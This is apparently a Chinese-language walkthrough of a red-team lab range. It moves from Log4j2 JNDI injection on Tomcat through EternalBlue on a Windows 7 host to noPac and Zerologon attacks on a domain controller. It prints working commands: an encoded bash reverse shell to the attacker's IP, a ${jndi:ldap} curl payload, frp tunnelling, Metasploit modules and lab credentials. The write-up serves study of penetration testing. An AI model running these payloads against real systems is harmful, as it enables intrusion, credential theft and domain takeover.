靶场说明 参考下大佬博客,https://colind0pe.top/
渗透攻击红队靶场二考察点总结 最终flag在域控的C盘根目录
一、漏洞挖掘与利用 Log4j2漏洞(JNDI注入)验证方法 Log4j2-RCE漏洞利用与反弹shell获取 永恒之蓝(MS17-010)漏洞实战应用 域控相关漏洞(CVE-2021-42287、CVE-2021-42278)利用与横向移动 二、渗透工具操作 JNDIExploit工具部署与LDAP/HTTP服务开启 nc工具端口监听与反弹shell接收 Metasploit Framework(msf)模块使用(主机上线、hash dump等) Python渗透脚本(如sam_the_admin.py)执行与域控攻击 Docker容器相关命令操作与环境验证 三、Payload构造与编码处理 反弹shell命令(bash一句话)编写 Base64编码对payload进行处理 URL编码解决特殊字符导致的payload失效问题 JNDI注入型payload构造(LDAP协议调用格式) 四、容器安全与逃逸测试 Docker容器环境识别方法(文件验证、进程组查看) runC漏洞逃逸技术尝试与版本兼容性判断 容器特权模式(privileged)检测与逃逸测试 容器内权限分析与提权思路 五、内网渗透核心操作 内网路由配置与主机发现 内网端口扫描与目标信息收集 跨主机权限拓展与横向移动策略 哈希值获取(hash dump)操作 SSH协议远程连接与凭证利用 六、权限维持与痕迹清理 系统日志清理命令(clearev)使用 多类型事件日志(应用程序、安全、系统等)批量清理 渗透痕迹掩盖思路与操作 七、渗透流程与思路 完整渗透流程:信息收集→漏洞挖掘→漏洞利用→提权→内网渗透→横向移动→权限维持→痕迹清理 靶场flag查找与凭证提取思路 多场景下的权限转换与拓展策略
渗透攻击红队内网域渗透靶场 拓扑结构
攻击端
操作角色:渗透攻击红队人员
攻击设备:
Windows 10 个人PC
Kali Linux VPS
网络区域拓扑
DMZ区域
边界设备:防火墙
核心服务器:Ubuntu-16 服务器
外网IP:192.168.0.x(DHCP分配,桥接模式)
内网IP:10.0.1.6(仅主机模式)
运行环境:Ubuntu Desktop + Log4j2 环境
链路:攻击端 → DMZ区域
个人办公区
终端设备:Windows 7
内网IP 1:10.0.1.7(仅主机模式,连通DMZ区)
内网IP 2:10.0.0.7(仅主机模式,连通域核心区)
链路:DMZ区域 → 个人办公区
域核心机器
域控制器:Windows 2012
通关目标:域控桌面存放 Flag 文件,成功获取即可通关
链路:个人办公区 → 域核心机器
大概的拓扑结构如上,具体IP可能不准确
给了地址 目标地址 192.168.111.20 本机地址 192.168.111.25
我们先来测试是否成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 C:\Windows\System32>ping 192.168.111.20 -n 3 正在 Ping 192.168.111.20 具有 32 字节的数据: 来自 192.168.111.20 的回复: 字节=32 时间<1ms TTL=64 来自 192.168.111.20 的回复: 字节=32 时间<1ms TTL=64 来自 192.168.111.20 的回复: 字节=32 时间<1ms TTL=64 192.168.111.20 的 Ping 统计信息: 数据包: 已发送 = 3,已接收 = 3,丢失 = 0 (0% 丢失), 往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms C:\Windows\System32>
这里可以看到和目的地址的通信是成功的了
美美开始攻击 “我能拿下整个域控,却拿不下她的心”–wuk0Ng
开始扫描端口(直接访问那个网站会发现访问不了)
1 nmap -sC -sV -p- 192.168.111.20
我是用这个nmap的win桌面版,要是有时间可以稍微记下nmap每个命令对应着什么啥的(之前面试看到有考的)
可以看到22和38080端口是有对应的服务的
22的访问不了,但是这个38080可以很明显的看出来是java写的
还有nmap的扫描结果可以看到是38080/tcp open http Apache Tomcat的这么一个服务
本题目是打Log4j2 rce 好了,我们这里再留下问题:后面补一下这个就是tomcat和spring boot页面,一看到应该怎么打,再延申到比如有log4j2这些 这是第二个待解决的问题
我最近打的时候发现我之前最常用的dnslog平台用不了了,我就先用个bp上的吧
然后数据包
1 2 3 4 5 6 7 8 9 10 11 GET / HTTP/1.1 Host: 192.168.111.20:38080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/155.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: keep-alive
我打着打着发现为啥我访问不了dnslog了,好像是clash的这个tun和系统代理都开的话(我记得之前我是关了系统代理的)就会出现这个http的服务访问出现一些问题
那我肯定还是用dnslog方便很多
但是奥,我反复尝试过了,应该是靶机不出网的问题,带不出dnslog
但是好像这个应该还是能和我的电脑通信吧,我的bp应该有记录呀 但是我哪里有问题,没找到,dnslog和bp试了挺多次没有成功
扫描,可以用kali里面内嵌的一个扫描器,不用dirsearch是因为我在win上的dirsearch扫不出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ┌──(root㉿kali)-[~] └─# dirb http://192.168.111.20:38080/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu Oct 15 18:04:41 2026 URL_BASE: http://192.168.111.20:38080/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.111.20:38080/ ---- + http://192.168.111.20:38080/error (CODE:500|SIZE:105) + http://192.168.111.20:38080/favicon.ico (CODE:200|SIZE:946) + http://192.168.111.20:38080/hello (CODE:405|SIZE:149) ----------------- END_TIME: Thu Oct 15 18:09:01 2026 DOWNLOADED: 4612 - FOUND: 3
405 状态码的含义 CODE:405 对应的是 HTTP 标准状态码 405 Method Not Allowed ,直译是 “请求方法不被允许”。 它的完整语义是:该路径真实存在,但服务器拒绝了当前使用的 GET 方法,只允许使用其他指定的 HTTP 方法
我再试试kali上的这个dirsearch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 dirsearch -u http://192.168.111.20:38080 ┌──(root㉿kali)-[~] └─# dirsearch -u http://192.168.111.20:38080 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 Wordlist size: 11460 Output File: /root/reports/http_192.168.111.20_38080/_26-10-15_18-10-25.txt Target: http://192.168.111.20:38080/ [18:10:25] Starting: [18:10:32] 400 - 800B - /\..\..\..\..\..\..\..\..\..\etc\passwd [18:10:32] 400 - 800B - /a%5c.aspx [18:10:48] 500 - 105B - /error [18:10:49] 500 - 105B - /error/ [18:10:49] 200 - 946B - /favicon.ico [18:10:52] 405 - 149B - /hello
扫出来了 然后具体的参数只能尝试爆破了
然后开始打,使用 JNDIExploit 工具启动 LDAP 服务:
1 2 cd /opt/JNDIExploit java -jar target/JNDIExploit-1.0-SNAPSHOT.jar -i 192.168.111.25
在攻击机上开启 netcat 监听,等待反弹 shell 连接:
再开一个终端,构造反弹 Shell Payload
1 2 3 4 5 6 7 8 9 10 11 12 原始反弹 Shell 命令 bash -i >& /dev/tcp/192.168.111.25/129990>&1 Base64 编码 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4yNS8xMjk5OSAwPiYx URL 编码(编码 + 号) YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjExMS4yNS8xMjk5OSAwPiYx 这样编码的原因是因为我们先尝试第一个会发现不行,然后我们得尝试编码 或者不用下面得curl,直接用BP发包也是可以的 curl http://192.168.111.20:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.111.25:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjExMS4yNS8xMjk5OSAwPiYx}'
这里之前需要完成这个比如叫9027这个ovpn的配置文件,比如我拖到kali桌面(我是这个时候把win的关掉了)
1 openvpn --config /root/Desktop/9027.ovpn
然后就这样连接可以了
可以看到已经拿下了
我们cd进入根目录,然后ls -la 发现文件.dockerenv 可以知道现在的环境是这个docker里面
1 2 3 4 5 6 7 8 9 10 11 12 13 root@f541fdc81032:~# ls ls flag.txt root@f541fdc81032:~# cat /falg.txt cat /falg.txt cat: /falg.txt: No such file or directory root@f541fdc81032:~# cat flag.txt cat flag.txt flag{redteam.lab-1} Congratulations, you got this : saul Saul123 root@f541fdc81032:~#
找到一个账号密码,我们去尝试ssh登陆
1 2 ssh saul@192.168.111.20 Saul123
连接上之后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 saul@ubantu:~$ ifconfig docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 inet6 fe80::42:7ff:fef3:d2c8 prefixlen 64 scopeid 0x20<link> ether 02:42:07:f3:d2:c8 txqueuelen 0 (以太网) RX packets 38608 bytes 6587136 (6.5 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 40364 bytes 7624819 (7.6 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.111.20 netmask 255.255.255.0 broadcast 192.168.111.255 inet6 fe80::250:56ff:feb1:58d9 prefixlen 64 scopeid 0x20<link> ether 00:50:56:b1:58:d9 txqueuelen 1000 (以太网) RX packets 40539 bytes 7760872 (7.7 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 38795 bytes 7178320 (7.1 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ens38: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.1.6 netmask 255.255.255.0 broadcast 10.0.1.255 inet6 fe80::250:56ff:feb1:6f79 prefixlen 64 scopeid 0x20<link> ether 00:50:56:b1:6f:79 txqueuelen 1000 (以太网) RX packets 2055 bytes 134439 (134.4 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4859 bytes 359575 (359.5 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (本地环回) RX packets 9235 bytes 735118 (735.1 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 9235 bytes 735118 (735.1 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 veth20c344f: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet6 fe80::601d:19ff:fe25:f22e prefixlen 64 scopeid 0x20<link> ether 62:1d:19:25:f2:2e txqueuelen 0 (以太网) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 114 bytes 12320 (12.3 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 veth7d01ad0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet6 fe80::44e6:43ff:fe29:6b43 prefixlen 64 scopeid 0x20<link> ether 46:e6:43:29:6b:43 txqueuelen 0 (以太网) RX packets 38608 bytes 7127648 (7.1 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 40405 bytes 7629131 (7.6 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 saul@ubantu:~$
靶场暴露主网卡:ens33 → 192.168.111.20
内网横向网段:ens38 → 10.0.1.6
Docker 网关:docker0 → 172.17.0.1
写一下for 循环ping一下内网的C断
1 for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
这步也可以留着后面做,我们先做frp流量转发
利用已经拿到权限的 Ubuntu 主机作为 frp 客户端,你的 Kali 作为 frp 服务端,通过 frp 建立一条 socks5 代理隧道 ,把 Ubuntu 所在的内网(10.0.1.0/24 网段)流量转发到 Kali。之后你在 Kali 上配合 proxychains 就能直接扫描、访问内网所有主机,完成横向渗透
1 2 3 4 cd /opt wget https://github.com/fatedier/frp/releases/download/v0.58.1/frp_0.58.1_linux_amd64.tar.gz tar -zxvf frp_0.58.1_linux_amd64.tar.gz cd frp_0.58.1_linux_amd64
frps:服务端程序,放在 Kali 上运行
frpc:客户端程序,要传到靶机 Ubuntu 上运行
监听
1 2 3 cd /opt/frp_0.58.1_linux_amd64 python3 -m http.server 80
然后新开一个终端,进入frp目录
1 2 3 4 5 cd /opt/frp_0.58.1_linux_amd64 然后 cat > frps.toml << EOF bindPort = 7000 EOF
最后启动frp服务
1 2 3 ./frps -c frps.toml & 或者 ./frps -c frps.toml
检查服务是否运行
1 2 ps aux | grep frps ps aux | grep "http.server"
然后回到SSH机器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 cat > frpc.toml << EOF serverAddr = "192.168.111.25" serverPort = 7000 [[proxies]] name = "socks5_proxy" type = "tcp" remotePort = 1080 [proxies.plugin] type = "socks5" EOF saul@ubantu:~$ cat > frpc.toml << EOF > serverAddr = "192.168.111.25" > serverPort = 7000 > > [[proxies]] > name = "socks5_proxy" > type = "tcp" > remotePort = 1080 > [proxies.plugin] > type = "socks5" > EOF saul@ubantu:~$ cat frpc.toml serverAddr = "192.168.111.25" serverPort = 7000 [[proxies]] name = "socks5_proxy" type = "tcp" remotePort = 1080 [proxies.plugin] type = "socks5" saul@ubantu:~$
然后下载frpc客户端二进制
1 2 3 4 5 6 7 8 9 10 11 12 13 saul@ubantu:~$ wget http://192.168.111.25/frpc --2026-10-16 04:21:03-- http://192.168.111.25/frpc 正在连接 192.168.111.25:80... 已连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度: 14471320 (14M) [application/octet-stream] 正在保存至: “frpc” frpc 100%[===========================>] 13.80M 3.19MB/s 用时 3.9s 2026-10-16 04:21:07 (3.54 MB/s) - 已保存 “frpc” [14471320/14471320]) saul@ubantu:~$
下好了,给权限
启动
这个时候SSH机器
1 2 3 4 5 6 saul@ubantu:~$ ./frpc -c frpc.toml 2026-10-16 04:22:21.591 [I] [sub/root.go:142] start frpc service for config file [frpc.toml] 2026-10-16 04:22:21.591 [I] [client/service.go:294] try to connect to server... 2026-10-16 04:22:21.765 [I] [client/service.go:286] [f51270a39a66c3b7] login to server success, get run id [f51270a39a66c3b7] 2026-10-16 04:22:21.765 [I] [proxy/proxy_manager.go:173] [f51270a39a66c3b7] proxy added: [socks5_proxy] 2026-10-16 04:22:21.830 [I] [client/control.go:168] [f51270a39a66c3b7] [socks5_proxy] start proxy success
我们的kali
1 2 3 4 5 6 7 8 9 10 11 12 ┌──(root㉿kali)-[/opt/frp_0.58.1_linux_amd64] └─#./frps -c frps.toml 2026-10-15 20:39:31.985 [I] [frps/root.go:105] frps uses config file: frps.toml 2026-10-15 20:39:32.055 [I] [server/service.go:237] frps tcp listen on 0.0.0.0:7000 2026-10-15 20:39:32.055 [I] [frps/root.go:114] frps started successfully 2026-10-15 20:43:26.152 [I] [server/service.go:576] [f51270a39a66c3b7] client login info: ip [192.168.111.20:41684] version [0.58.1] hostname [] os [linux] arch [amd64] 2026-10-15 20:43:26.218 [I] [proxy/tcp.go:82] [f51270a39a66c3b7] [socks5_proxy] tcp proxy listen port [1080] 2026-10-15 20:43:26.218 [I] [server/control.go:399] [f51270a39a66c3b7] new proxy [socks5_proxy] type [tcp] success
可以看到成功了 然后打开MSF
1 2 3 msfconsole 先上再下 setg PROXIES socks5:127.0.0.1:1080
让所有 msf 的 exploit/aux 模块流量走 127.0.0.1:1080
1 2 3 4 5 6 7 msf > getg PROXIES PROXIES => msf > setg PROXIES socks5:127.0.0.1:1080 PROXIES => socks5:127.0.0.1:1080 msf > getg PROXIES PROXIES => socks5:127.0.0.1:1080 msf >
然后扫一下
1 2 3 4 5 use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.1.6 set PORTS 22 set THREADS 1 run
结果
1 2 3 4 5 6 7 8 9 10 11 12 13 msf > use auxiliary/scanner/portscan/tcp msf auxiliary(scanner/portscan/tcp) > set RHOSTS 10.0.1.6 RHOSTS => 10.0.1.6 msf auxiliary(scanner/portscan/tcp) > set PORTS 22 PORTS => 22 msf auxiliary(scanner/portscan/tcp) > set THREADS 1 THREADS => 1 msf auxiliary(scanner/portscan/tcp) > run [+] 10.0.1.6:22 - 10.0.1.6:22 - TCP OPEN [*] 10.0.1.6:22 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(scanner/portscan/tcp) >
可以看到成功了
我们接下来查找网段内所有IP的其他主机
1 2 3 4 5 use auxiliary/scanner/discovery/tcp_ping set RHOSTS 10.0.1.0/24 set PORTS 22,80 set THREADS 2 run
也可以再增加常用的一些端口
比如22,80,443,3389,8080,8081,9090等等端口都是可以的
还有就是我们前面提到的,有这个
1 for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
在SSH里面执行这个就可以了的
10.0.1.6(当前跳板 Ubuntu 本身)10.0.1.7(新的目标机器,横向目标!)
然后看另外一台机器开了什么端口
1 2 3 4 5 use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.1.7 set PORTS 1-1000 set THREADS 1 run
运行结果
1 2 3 4 5 6 msf auxiliary(scanner/portscan/tcp) > run [+] 10.0.1.7:22 - 10.0.1.7:139 - TCP OPEN [+] 10.0.1.7:22 - 10.0.1.7:135 - TCP OPEN [+] 10.0.1.7:22 - 10.0.1.7:445 - TCP OPEN [*] 10.0.1.7:22 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
135/139/445 是典型 Windows 机器的 SMB 相关端口! 这是一台 Windows 主机,大概率存在 SMB 漏洞
打MS17-010
1 2 3 use auxiliary/scanner/smb/smb_ms17_010 set rhosts 10.0.1.7 run
这里不行,因为我们之前指定了其他端口 我们现在要换成其他端口
1 2 3 4 use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 10.0.1.7 set RPORT 445 run
结果
1 2 3 4 5 6 7 8 9 10 msf auxiliary(scanner/smb/smb_ms17_010) > set RPORT 445 RPORT => 445 msf auxiliary(scanner/smb/smb_ms17_010) > run [+] 10.0.1.7:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.25/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression [*] 10.0.1.7:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(scanner/smb/smb_ms17_010) > msf auxiliary(scanner/smb/smb_ms17_010) >
可以看到返回了大概率存在MS17-010 靶场Windows7,payload选x64的meterpreter 这里LHOST要填跳板机的IP:192.168.111.20(因为内网10.0.1.7只能访问同网段 10.0.1.6,不能直接回连你Kali)
1 2 3 4 5 6 7 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.0.1.7 set RPORT 445 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.1.6 set LPORT 4444 run
报错了
MSF 全局开启了 socks 代理,reverse_tcp 反弹 payload 默认不允许配合全局代理使用 ,MSF 担心流量环路。 提示给了解决开关:ReverseAllowProxy true。或者直接改用bind_tcp 正向 payload(推荐,更稳)
我这边选择这个正向连接
1 2 3 4 5 6 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.0.1.7 set RPORT 445 set PAYLOAD windows/x64/meterpreter/bind_tcp set LPORT 4444 run
回显:6 +0800 [+] 10.0.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.0.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.0.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > 读音 米特 - 普瑞特
还有这个metasploit,麦特 - 斯普洛伊特
然后sysinfo
1 2 3 4 5 6 7 8 9 10 meterpreter > sysinfo Computer : WIN7 OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : zh_CN Domain : REDTEAM Logged On Users : 2 Meterpreter : x64/windows meterpreter >
拿到 Win7 权限后加载 Mimikatz 抓取明文密码
此时我们得到了一个域用户的账号密码root:Red12345
1 2 3 4 5 6 7 meterpreter > shell Process 1736 created. Channel 1 created. Microsoft Windows [�汾 6.1.7601] ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ���� C:\Windows\system32>
然后
1 2 3 4 5 C:\Windows\system32>set logonserver set logonserver �������� logonserver û�ж��� C:\Windows\system32>
拿到主机名 然后再去解析拿到IP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 C:\Windows\system32>set logonserver set logonserver �������� logonserver û�ж��� C:\Windows\system32>nslookup REDTEAM.LAB nslookup REDTEAM.LAB DNS request timed out. timeout was 2 seconds. ������: UnKnown Address: 10.0.0.12 ����: REDTEAM.LAB Address: 10.0.0.12 C:\Windows\system32> C:\Windows\system32>
我们先退出shell 输入
再回到MSF主控制台
回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 meterpreter > background [*] Backgrounding session 1... msf exploit(windows/smb/ms17_010_eternalblue) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WI 127.0.0.1:39451 -> 127.0. N7 0.1:1080 (10.0.1.7) msf exploit(windows/smb/ms17_010_eternalblue) >
添加路由
1 route add 10.0.0.0 255.255.255.0 1
然后route查看路由,看到一条 10.0.0.0/255.255.255.0 路由,网关指向 session 1 路由添加成功之后,就可以使用 msf 内置 wmiexec 模块尝试连接域控 10.0.0.12 然后换模块
1 2 3 4 msf exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/psexec [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp [*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST msf exploit(windows/smb/psexec) >
然后 但是啊,我发现这个方法打不通这个,拿不下这个域控
msf exploit(windows/smb/psexec) > back msf > 先back回到这个主控制台
然后先开代理
1 2 3 4 use auxiliary/server/socks_proxy set SRVPORT 9050 set VERSION 4a run
还得回来看时间才行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 msf auxiliary(server/socks_proxy) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WI 127.0.0.1:39451 -> 127.0. N7 0.1:1080 (10.0.1.7) msf auxiliary(server/socks_proxy) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 1528 created. Channel 7 created. Microsoft Windows [�汾 6.1.7601] ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ���� C:\Windows\system32>net time \\10.0.0.12 net time \\10.0.0.12 \\10.0.0.12 �ĵ�ǰʱ���� 2026/10/15 21:30:25 �����ɹ����ɡ� C:\Windows\system32>
然后同步kali的时间,不然kali打不了(我这里是遇到了,不一定都遇到) 然后MSF继续回去监听
然后kali终端
只需要一个域用户即可拿到 DC 权限(CVE-2021-42287 and CVE-2021-42278) 这两个CVE可以看
1 https://mp.weixin.qq.com/s?__biz=MzkzNzMxNDc5Mg==&mid=2247483681&idx=1&sn=5757667e1a2f812244fe17b50ce46c27&chksm=c29011a6f5e798b089099860b7754babafd39154911a64a53669da882df6dec5118cf7942414&scene=21#wechat_redirect
然后把本题目要用的CVE给下载
1 2 git clone https://github.com/WazeHell/sam-the-admin.git cd sam-the-admin
然后安装依赖
1 pip3 install -r requirements.txt --break-system-packages
然后 proxychains python3 sam_the_admin.py “REDTEAM/root:Red12345” -dc-ip 10.0.0.12 -shell 但是这个怎么有补丁了好像
1 2 3 4 5 6 7 git clone https://github.com/Ridter/noPac.git cd noPac pip3 install -r requirements.txt --break-system-packages proxychains python3 noPac.py redteam.lab/root:Red12345 -dc-ip 10.0.0.12 -use-ldap -shell cd ~/sam-the-admin/sam-the-admin proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
理论上上面几个都可以,但是是打了补丁还是什么,我换了好几个都好像有点问题
然后我服了的就是这个反正连接meterpreter总是有很多问题 反正验证漏洞部分很简单,确认了有这个洞就多花时间去尝试吧
还有一种方法,我在公众号看到的,https://mp.weixin.qq.com/s/_TjDJP9uuDErQlk5Uktm-Q?scene=1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 上线Vshell & 搭建第二层代理登录,上传Vshell正向客户端proxychains -q rdesktop -u hack01 -p 1324@cbD 10.0.1.7 upload /home/zss/下载/8033.exe C:\\Windows\\Temp\\8033.exe 内网信息收集上传fscan,信息收集C:\Users\Public>fscan.exe -h 10.0.0.7/24 ______ _____ _ | ____| | __ \| | | |__ ___ ___ __ _ _ __ | |__) | |_ _ ___ | __/ __|/ __/ _ | _ \| ___/| | | | / __| | | \__ \ (_| (_| | | | | | | | |_| \__ \ |_| |___/\___\__,_|_| |_|_| |_|\__,_|___/ fscan version:1.8.4 TeamdArk5 v1.0 start infoscan trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 10.0.0.7 is alive (icmp) Target 10.0.0.12 is alive [*] Icmp alive hosts len is:2 10.0.0.12:88 open 10.0.0.12:445 open 10.0.0.7:445 open 10.0.0.12:139 open 10.0.0.12:135 open 10.0.0.7:139 open 10.0.0.7:135 open [*] alive ports len is:7 start vulscan [+] MS17-01010.0.0.7 (Windows 7 Ultimate 7601 Service Pack 1) [*] NetInfo [*]10.0.0.7 [->]win7 [->]10.0.1.7 [->]10.0.0.7 [*] NetInfo [*]10.0.0.12 [->]DC [->]10.0.0.12 [*] NetBios 10.0.0.7 WIN7 Windows 7 Ultimate 7601 Service Pack 1 [+] MS17-01010.0.0.12 (Windows Server 2012 R2 Datacenter 9600) [*] NetBios 10.0.0.12[+] DC:DC.redteam.lab Windows Server 2012 R2 Datacenter 9600 已完成 7/7 [*] 扫描结束,耗时:6.1083494s Zerologonproxychains -q python3 AutoZerologon.py 10.0.0.12 -scan proxychains -q python3 AutoZerologon.py 10.0.0.12 -exp proxychains -q python3 AutoZerologon.py 10.0.0.12 -shell
我后面学着用下这个什么管理的网站吧
然后最终拿到flag并提交 但是奥,这里的靶机改动地方啥的还是比较多的,我的meterpreter啥的总有问题,我后面会再打下这个靶机然后选一个好点的稳定的方式的